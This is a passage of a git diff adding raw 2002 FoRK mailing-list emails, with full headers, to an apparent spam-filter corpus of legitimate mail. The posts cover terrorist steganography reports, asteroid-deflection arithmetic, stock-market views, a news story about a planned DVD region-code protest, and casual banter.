([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6P2ab425874 for ; + Thu, 25 Jul 2002 03:36:37 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 0535D294169; Wed, 24 Jul 2002 19:35:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id CB822294161 for ; + Wed, 24 Jul 2002 19:35:00 -0700 (PDT) +Received: from maya.dyndns.org (ts5-017.ptrb.interhop.net + [165.154.190.81]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g6P2ACO11408 for ; Wed, 24 Jul 2002 22:10:12 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id 6A12D1C39A; + Wed, 24 Jul 2002 22:15:53 -0400 (EDT) +To: fork +Subject: Ah ... so they ARE coming for your porn next ... +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 24 Jul 2002 22:15:53 -0400 + + +http://www.cnn.com/2002/US/07/23/binladen.internet/index.html + + ... CNN reported earlier this year that al Qaeda has used at least one + Web site to post information and keeps changing the site's address to + stay ahead of investigators. + + Authorities also are investigating information from detainees that + suggests al Qaeda members -- and possibly even bin Laden -- are hiding + messages inside photographic files on pornographic Web sites. + +Any wagers that this heralds the appearance of a bill to ban and/or +harrass any sites which may be host to suspected-AlQaeda messages? + +And what about Emenem records played backwards? + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00882.6ca078a84f6b9eb76fd57d7f9d72250e b/bayes/spamham/easy_ham_2/00882.6ca078a84f6b9eb76fd57d7f9d72250e new file mode 100644 index 0000000..faf25ce --- /dev/null +++ b/bayes/spamham/easy_ham_2/00882.6ca078a84f6b9eb76fd57d7f9d72250e @@ -0,0 +1,66 @@ +From fork-admin@xent.com Thu Jul 25 11:10:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A1EBC440D1 + for ; Thu, 25 Jul 2002 06:09:55 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:09:55 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6P46g429498 for ; + Thu, 25 Jul 2002 05:06:43 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 7FE1129416F; Wed, 24 Jul 2002 21:05:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from imo-d08.mx.aol.com (imo-d08.mx.aol.com [205.188.157.40]) by + xent.com (Postfix) with ESMTP id 6DBDE29416C for ; + Wed, 24 Jul 2002 21:04:46 -0700 (PDT) +Received: from Grlygrl201@aol.com by imo-d08.mx.aol.com (mail_out_v32.21.) + id b.13.eda34f4 (5710); Thu, 25 Jul 2002 00:04:42 -0400 (EDT) +Received: from aol.com (mow-m22.webmail.aol.com [64.12.180.138]) by + air-id04.mx.aol.com (v86_r1.16) with ESMTP id MAILINID43-0725000442; + Thu, 25 Jul 2002 00:04:42 -0400 +From: grlygrl201@aol.com +To: kra@monkey.org +Cc: fork@spamassassin.taint.org +Subject: Re: [Baseline] Raising chickens the high-tech way +Message-Id: <2DB6682C.660FBFDD.0F48F476@aol.com> +X-Mailer: Atlas Mailer 2.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 00:06:41 -0400 + +In a message dated Wed, 24 Jul 2002 1:51:48 PM Eastern Standard Time, kra@monkey.org writes: + +> +> I guess that the reason that I disagree is that some groups arguing +> against any checks on genetic engineering use that same argument - +> "we've been doing it since prehistory, so we don't need to apply any +> caution today". +> + +That the process of engineering is a natural, human inclination is what history proves; that humans don't learn from history is what natural, unimpeded inclinations prove. + +geege +> -- +> Karl Anderson kra@monkey.org +> http://www.monkey.org/~kra/ +> http://xent.com/mailman/listinfo/fork + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00883.9ac832339fe2f1546b926bf61a1b5c50 b/bayes/spamham/easy_ham_2/00883.9ac832339fe2f1546b926bf61a1b5c50 new file mode 100644 index 0000000..7309bb3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00883.9ac832339fe2f1546b926bf61a1b5c50 @@ -0,0 +1,73 @@ +From fork-admin@xent.com Thu Jul 25 11:10:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 895D1440D9 + for ; Thu, 25 Jul 2002 06:09:58 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:09:58 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6P6VP401980 for ; + Thu, 25 Jul 2002 07:31:26 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 2C690294176; Wed, 24 Jul 2002 23:27:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from venus.phpwebhosting.com (venus.phpwebhosting.com + [64.29.16.27]) by xent.com (Postfix) with SMTP id B1B59294175 for + ; Wed, 24 Jul 2002 23:26:43 -0700 (PDT) +Received: (qmail 22407 invoked by uid 508); 25 Jul 2002 06:26:43 -0000 +Received: from unknown (HELO hydrogen.leitl.org) (217.80.40.71) by + venus.phpwebhosting.com with SMTP; 25 Jul 2002 06:26:43 -0000 +Received: from localhost (eugen@localhost) by hydrogen.leitl.org + (8.11.6/8.11.6) with ESMTP id g6P6Qci21704; Thu, 25 Jul 2002 08:26:39 + +0200 +X-Authentication-Warning: hydrogen.leitl.org: eugen owned process doing -bs +From: Eugen Leitl +To: +Cc: , +Subject: Re: Asteroids anyone ? +In-Reply-To: <2784.192.216.194.113.1027554358.squirrel@webmail.magnesium.net> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 08:26:38 +0200 (CEST) + +On Wed, 24 Jul 2002 bitbitch@magnesium.net wrote: + +> Hey, meybee by then, Bush's grand plan for a missle defense system will +> actually pan out and -work- ... + +Hey, that thing is 2 km across and 28 km/s fast. There's nothing you can +do just before the impact with a system that was designed to deal with +tiny ballistic missiles, and largely by damaging them, not destroying +them. Apart from twiddling with the surface albedo which might be not +enough -- we currently don't have ion drives with enough power, or at +least we can't develop and deploy them on time, so that only leaves you +with nukes. Assymetrical repeated flash-evaporation (anything closer would +risk fragmenting it) on rocks of unknown composition (could be a pile of +rubble for all what we know) has never been tried yet, though. + +> I'm not holding my breath, but i'm not going to panic for something thats +> a little under 17 years away, either. + +It is much more interesting whether you can kill enough of delta v for a +capture. But here trying to brake a smaller object (say, few 100 m across) +with final stage aerobraking would be far more useful. Otoh, one could as +well could invest that effort into a launch capacity on the Moon. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00884.4647babe0828ab867c965d4076087e25 b/bayes/spamham/easy_ham_2/00884.4647babe0828ab867c965d4076087e25 new file mode 100644 index 0000000..f8c4e56 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00884.4647babe0828ab867c965d4076087e25 @@ -0,0 +1,183 @@ +From fork-admin@xent.com Thu Jul 25 11:10:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 43232440DC + for ; Thu, 25 Jul 2002 06:09:59 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:09:59 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6P7Ta404111 for ; + Thu, 25 Jul 2002 08:29:37 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 8288A29416D; Thu, 25 Jul 2002 00:28:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hall.mail.mindspring.net (hall.mail.mindspring.net + [207.69.200.60]) by xent.com (Postfix) with ESMTP id AF7F129416B for + ; Thu, 25 Jul 2002 00:27:53 -0700 (PDT) +Received: from user-119ac86.biz.mindspring.com ([66.149.49.6]) by + hall.mail.mindspring.net with esmtp (Exim 3.33 #1) id 17Xd2D-0001yt-00; + Thu, 25 Jul 2002 03:27:42 -0400 +MIME-Version: 1.0 +X-Sender: rahettinga@pop.earthlink.net +Message-Id: +To: Digital Bearer Settlement List , + dcsb@ai.mit.edu, fork@xent.com +From: "R. A. Hettinga" +Subject: Buy? (was Re: It's back? Triple-digit Dow gains at 2PM...) +Content-Type: text/plain; charset="us-ascii" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 02:45:45 -0400 + +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA1 + +A bull market climbs a wall of worry -- on record volume. + +Yeah, I know, it's different this time. Pay no attention to the bear +behind the curtain, and all that. + +However, at the end of the *last* bear market, in 1983 -- yup, that +long ago -- Granville sell-orders caused bloodbaths with boring +regularity, a stockholm-syndrome economy had recently been delivered +of Keynesian monetary apparatchiks at the Fed and elsewhere, and +Henry "Dr. Doom" Kauffman opined offhand that interest rates *might* +come down finally... and pop! went the market, sending the NYSE +volume through the roof. (Record volume then was around a hundred +mill. Yesterday, ladies and germs, it was upward of 2 point something +*billion* shares).. Back then, I was a mail-cart-pushing, +key-punching "administration" clerk at Morgan Stanley in Chicago, +chief scrounge for a bunch of Masters of the Universe, and everybody +at Morgan thought the resulting price-pop was just a technical rally +and wouldn't last either. :-). Six months later, people *still* said +it wouldn't last, and a girlfriend's uncle was saying that it was too +late, he'd missed the train, so he was going to stay out 'till the +market came back down a bit. By that time, the Dow was at, what, +1600? I wonder if he's still out, waiting... + + +A 40% decline is a big chunk of change, boys and girls, even if it's +40% of a bubble. Actually, by my count, it's 100% of the bubble, but +that's just me. After all, Amazon and EBay's P/Es still need a +pressurized cabin to breathe in. + +So, yes, the market may go lower, but not much more, relatively +speaking. At some point, and fairly soon, I bet, someone's going to +realize that, even though you wouldn't want to actually trade one for +a house, tulips are still nice things to have around. + +Hint: Interest rates are rediculuously low, they aren't going up any +time soon, and, if we can survive the election, the recently-started +CEO witch-hunt won't be too much more than Street theater, probably +not resulting in much in the way of regulation or legislation. The +threat of which, frankly, probably caused this recent explosive +decompression in the first place. Your tax dollars at work, if you +will. + +So, in light of the erstwhile bloodbath on Capital Hill, and the real +one we just saw a few days ago in the market, it may be time for +people to remember what Mr. Rothschild said, and buy now while +there's blood in the streets. + +As to whether the accounting is "rigged", remember what Robert +Heinlein said: "Who cares if the game is rigged? You can't win if you +don't play." + + + +Cheers, +RAH +The aforementioned girlfriend, by the way, traded *me* in for an +actual Rothschild in 1984, after I insisted on going back to school +and talking my way into the back door at the University of Chicago to +boot. The cost of anything being the foregone alternative, it +sometimes seems to me I'm *still* paying for that detour, but that's +a bear of a different color, and it's okay as long as I don't look +behind the curtain, right? :-). + +- --- begin forwarded text + + +From: Somebody Else +To: "R. A. Hettinga" +Subject: Re: It's back? Triple-digit Dow gains at 2PM... +Date: Wed, 24 Jul 2002 21:44:19 -0600 + +Bob, + +So. Let's see. The market's all the way back up to... what? Last +Friday's +close? + +Iiiiirrraaational iinnndeed. + + + + +- ----- Original Message ----- +From: "R. A. Hettinga" +To: "Digital Bearer Settlement List" +Sent: Wednesday, July 24, 2002 2:02 PM +Subject: RE: It's back? Triple-digit Dow gains at 2PM... + + +> At 2:55 PM -0400 on 7/24/02, Somebody wrote: +> +> +> > The market doesn't close for two hours. +> +> The market just closed. Up 496.63, 6.45%, at 8198.9697. +> +> :-). +> +> You never catch the upticks if you don't stay in the market... +> +> Cheers, +> RAH +> +> -- +> ----------------- +> R. A. Hettinga +> The Internet Bearer Underwriting Corporation +> 44 Farquhar Street, Boston, MA 02131 USA +> "... however it may deserve respect for its usefulness and +> antiquity, [predicting the end of the world] has not been found +> agreeable to +> experience." -- Edward Gibbon, 'Decline and Fall of the Roman +> Empire' +> + +- --- end forwarded text + + +-----BEGIN PGP SIGNATURE----- +Version: PGP 7.5 + +iQA/AwUBPT+eg8PxH8jf3ohaEQJaJACferw1H2dZWXUEkFKdJ3bVpSJ5QnQAoPoD ++oIb0wFbSjKC4hdc/DSjPkvj +=pRCH +-----END PGP SIGNATURE----- + +-- +----------------- +R. A. Hettinga +The Internet Bearer Underwriting Corporation +44 Farquhar Street, Boston, MA 02131 USA +"... however it may deserve respect for its usefulness and antiquity, +[predicting the end of the world] has not been found agreeable to +experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00885.7340a1c0f35e08491a771e0f83df29fc b/bayes/spamham/easy_ham_2/00885.7340a1c0f35e08491a771e0f83df29fc new file mode 100644 index 0000000..b7ff394 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00885.7340a1c0f35e08491a771e0f83df29fc @@ -0,0 +1,122 @@ +From fork-admin@xent.com Thu Jul 25 11:10:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2CD41440DD + for ; Thu, 25 Jul 2002 06:10:00 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:10:00 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6P8xa408276 for ; + Thu, 25 Jul 2002 09:59:37 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 02C4529409C; Thu, 25 Jul 2002 01:58:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from panacea.canonical.org (ns1.canonical.org [209.115.72.29]) + by xent.com (Postfix) with ESMTP id C9441294098 for ; + Thu, 25 Jul 2002 01:57:36 -0700 (PDT) +Received: by panacea.canonical.org (Postfix, from userid 1004) id + E3EF43F4D3; Thu, 25 Jul 2002 04:56:39 -0400 (EDT) +From: kragen@pobox.com (Kragen Sitaker) +To: fork@spamassassin.taint.org +Subject: Re: Asteroids anyone ? +Message-Id: <20020725085639.E3EF43F4D3@panacea.canonical.org> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 04:56:39 -0400 (EDT) + +Eugen Leitl writes: +> Apart from twiddling with the surface albedo which might be not +> enough -- we currently don't have ion drives with enough power, or at +> least we can't develop and deploy them on time, + +My estimate is that, in the worst case, we have 17 years (5.4e8 +seconds) to move it one earth radius, or about 6000 km (6e6 m). +a t^2/2 = x, if I remember right, so a = 2x/t^2, which is +1.2e7 m/(2.9e17 s^2), or about 4.1e-11 m/s^2, which is not a very +large acceleration, roughly equivalent to the gravitational +acceleration in these parts divided by 200000000000. Assuming a +2km-wide --- that is, 20 000 decimeter-wide --- spherical asteroid of +specific gravity 10, 4/3 pi r^3 says it would have a volume of 4e12 +cubic decimeters and thus a mass of 4e13 kg. The force we'd have to +apply to achieve this acceleration would be roughly equivalent to the +weight of 200 kg here on Earth. + +So, yeah, ion drives are probably a no-go, unless I screwed up the +calculations here; I think the force they typically exert is about +four orders of magnitude too small. + +If we just wanted to hit today it with enough of an impulse that it +would miss us 17 years later, we'd need to accelerate it by about 1.1 +cm/s. A one-ton (1000kg) mass would need to hit it at about 4e9 m/s, +or about ten times the speed of light, to achieve this, so that's not +possible. (If you could actually put enough work into a one-ton mass, +as it approached the speed of light, it would mass more, so you could +still do it with a one-ton mass; but we don't have anything +approaching that speed.) The impulse required is inversely +proportional to the remaining time to impact, so if we were to hit it +after half the time has elapsed, we'd need to accelerate it by around +2.2 cm/s instead. + +The gravitational force of an Earth-sized mass could provide +sufficient deflection if that mass were about 4.5e5 times as far away +from the asteroid as we are from Earth's center, or about 2.7e9 m, or +about 0.018 times the distance from the Earth to the Sun (0.018 AU). +(And if that mass stayed so nearby for 17 years.) + +The effects of continuous acceleration benefit greatly from planning +ahead, since they scale with t^2, not t --- and thus the needed +acceleration scales with 1/t^2. After half the time has elapsed, we'd +need four times as much acceleration to make it miss the Earth than if +we were to start accelerating it now. + +All of these numbers are a little low, because the Earth presents a +slightly easier target than its physical size suggests, due to its +gravity well. How much easier depends on the speed of the projectile +in ways I don't understand. + +They're also a little high, because they assume the force is being +applied purely at right angles to the asteroid's current path, which +is a slightly suboptimal scenario (although for velocity changes five +orders of magnitude smaller than the relative velocity, the difference +is probably insignificant.) And they assume there are no other effects on the asteroid's path. + +What about electrical charges? Could we electrically charge the +asteroid and another nearby asteroid, perhaps with electron beams, to +provide the needed acceleration? + +Of course, all of this calculation could be applied in the other +direction, too. If you want to sock a moon colony with a one-ton +asteroid, you could do it with a tiny amount of force applied over +twenty-five years to adjust its orbit. + +*** + +About spam: I'm sorry to admit I haven't implemented any of the better +solutions, and so I'm afraid I'll have to allow non-subscriber FoRK +mail to be detained for scanning. I hope this measure can be reversed +soon when I have time to implement better measures. As has often been +noted by other posters, measures to reduce spam sent to the FoRK list +will not significantly decrease the spam load of FoRKposters, since +the vast majority of spam received by FoRKposters is sent to them +directly, not through the FoRK list. + +-- + Kragen Sitaker +Silence may not be golden, but at least it's quiet. Don't speak unless you +can improve the silence. I have often regretted my speech, never my silence. +-- ancient philosopher Syrus (?) via Adam Rifkin, +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00886.9b1023e9b85ce2ad96f209de582e5d71 b/bayes/spamham/easy_ham_2/00886.9b1023e9b85ce2ad96f209de582e5d71 new file mode 100644 index 0000000..aeb6796 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00886.9b1023e9b85ce2ad96f209de582e5d71 @@ -0,0 +1,67 @@ +From fork-admin@xent.com Thu Jul 25 11:10:45 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E42EB440D2 + for ; Thu, 25 Jul 2002 06:10:00 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:10:00 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6P94q409019 for ; + Thu, 25 Jul 2002 10:04:52 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 499F62940A2; Thu, 25 Jul 2002 02:03:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from venus.phpwebhosting.com (venus.phpwebhosting.com + [64.29.16.27]) by xent.com (Postfix) with SMTP id 8A7E02940A1 for + ; Thu, 25 Jul 2002 02:02:51 -0700 (PDT) +Received: (qmail 25255 invoked by uid 508); 25 Jul 2002 09:02:46 -0000 +Received: from unknown (HELO hydrogen.leitl.org) (217.80.40.71) by + venus.phpwebhosting.com with SMTP; 25 Jul 2002 09:02:46 -0000 +Received: from localhost (eugen@localhost) by hydrogen.leitl.org + (8.11.6/8.11.6) with ESMTP id g6P92TA26045; Thu, 25 Jul 2002 11:02:29 + +0200 +X-Authentication-Warning: hydrogen.leitl.org: eugen owned process doing -bs +From: Eugen Leitl +To: "R. A. Hettinga" +Cc: Digital Bearer Settlement List , + , +Subject: Re: Buy? (was Re: It's back? Triple-digit Dow gains at 2PM...) +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 11:02:29 +0200 (CEST) + +On Thu, 25 Jul 2002, R. A. Hettinga wrote: + +> So, in light of the erstwhile bloodbath on Capital Hill, and the real +> one we just saw a few days ago in the market, it may be time for +> people to remember what Mr. Rothschild said, and buy now while +> there's blood in the streets. + +Luckily, I'm in no such predilection as technolumpen. + +However, the signs do seem to head for a much deeper crapper than the one +we're currently in, and this has relevance to those switching jobs, or +those just entering the job market. Nano/bio startups are all screwed up, +alas. It's too early to wait for the radioactive glass to cool down while +the nukes are still going off, imo. + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00887.aff205072bdffd1cb1cc0b65ff75e907 b/bayes/spamham/easy_ham_2/00887.aff205072bdffd1cb1cc0b65ff75e907 new file mode 100644 index 0000000..c38161f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00887.aff205072bdffd1cb1cc0b65ff75e907 @@ -0,0 +1,111 @@ +From fork-admin@xent.com Thu Jul 25 15:36:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2B0C8440D0 + for ; Thu, 25 Jul 2002 10:36:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 15:36:07 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6PEXf408225 for ; + Thu, 25 Jul 2002 15:33:42 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 3CF372940A2; Thu, 25 Jul 2002 07:32:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id EC4C229409F for ; + Thu, 25 Jul 2002 07:31:15 -0700 (PDT) +Received: from maya.dyndns.org (ts5-031.ptrb.interhop.net + [165.154.190.95]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g6PE6RM05633 for ; Thu, 25 Jul 2002 10:06:27 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id 712811C39A; + Thu, 25 Jul 2002 10:30:52 -0400 (EDT) +To: fork +Subject: At last, a real DRM hero +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 25 Jul 2002 10:30:52 -0400 + + +Remember when I said that taking an afternoon off to march for Dmitri +was pissing in the wind and that to be really effective we needed +people willing to publically break the stupid laws right in the +face of the authorities? + +Well it seems Bruce Perens agrees with me, only he's going one better, +instead of just mouthing off about it, he's going to do it and do it +in a big way ... + + + Open source campaigner to risk jail + By James Middleton [24-07-2002] + + Bruce Perens plans live DVD hack + + With the dust from the Elcomsoft/Sklyarov case still thick in the + air, influential open source activist Bruce Perens plans to go one + better by breaking the Digital Millennium Copyright Act (DCMA) + during a live presentation on Friday. + + Fresh from giving RealNetworks a slating for not completely + backing open source with its latest announcement, Perens said that + during a Digital Rights Management presentation to be held Friday + at the O'Reilly developer conference in San Diego, he would break + the law. + + The DMCA has been a sore point in the open source community since + the outlawing of DeCSS, a tool created so that DVDs could be + played on Linux machines, and more recently since the arrest of + Dmitry Sklyarov and the criminal charges faced by his employer, + Elcomsoft. + + Based on the recent history of DMCA contravention, Perens could + face imprisonment or a $500,000 fine for his actions. + + According to Infoworld the demonstration is to be carried out in + protest at the regional system used by the motion picture industry + to prevent DVDs released in one country being played on machines + in another country. + + During his presentation, Perens will demonstrate how to hack a DVD + player so that it can play movies from any region. + + "It is a political and social statement, and the statement is that + the people do not need to have a hall monitor living in their + stereo system and should be able to play any kind of media on the + device they wish," he was quoted as saying. + + But luck may be on his side, if last year is anything to go by. At + the same conference in 2001 Perens made a presentation on the + triviality of Digital Rights Management systems using exactly the + same slides that got Sklyarov arrested. + +http://www.vnunet.com/News/1133862 + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00888.0313cf62b5f2b63afb50d8de46b43ad3 b/bayes/spamham/easy_ham_2/00888.0313cf62b5f2b63afb50d8de46b43ad3 new file mode 100644 index 0000000..01598a2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00888.0313cf62b5f2b63afb50d8de46b43ad3 @@ -0,0 +1,69 @@ +From fork-admin@xent.com Thu Jul 25 20:56:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CB835440E7 + for ; Thu, 25 Jul 2002 15:56:33 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 20:56:33 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6PJrb427400 for ; + Thu, 25 Jul 2002 20:53:37 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 6EC122940DE; Thu, 25 Jul 2002 12:52:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from localhost.localdomain (pm3-36.sba1.netlojix.net + [207.71.218.180]) by xent.com (Postfix) with ESMTP id B8C702940AB for + ; Thu, 25 Jul 2002 12:51:42 -0700 (PDT) +Received: (from dave@localhost) by maltesecat (8.8.7/8.8.7a) id MAA06571; + Thu, 25 Jul 2002 12:47:54 -0700 +Message-Id: <200207251947.MAA06571@maltesecat> +To: fork@spamassassin.taint.org +Subject: (correction) Re: [Baseline] Raising chickens the high-tech way +In-Reply-To: Message from Dave Long of "Wed, 24 Jul 2002 17:06:49 PDT." +From: Dave Long +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 12:47:53 -0700 + + + +> (or who are offspring of Wilt) + +My bad. Wilt, even if he had media +exposure that major studs only dream +about, was just another example of +natural selection, and doesn't even +come close to livestock potency. + +1) I rather doubt that most of his +20,000 women bothered to check the +rebounding records of his cousins +and uncles and whatnot (how old is +basketball, in generations?) and +compared them with their own kin's. + +2) Let's give Mr. Chamberlain the +benefit of the doubt and suppose he +sired twins with each mate. 40,000 +lifetime production compares poorly +with a holstein bull. + +-Dave + +> Teat size and placement are always ideal which suggests that INCOME +> daughters are the perfect kind for robot milkers. +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00889.3c6000316e0ea3c3700815457821bf9e b/bayes/spamham/easy_ham_2/00889.3c6000316e0ea3c3700815457821bf9e new file mode 100644 index 0000000..6488b93 --- /dev/null +++ 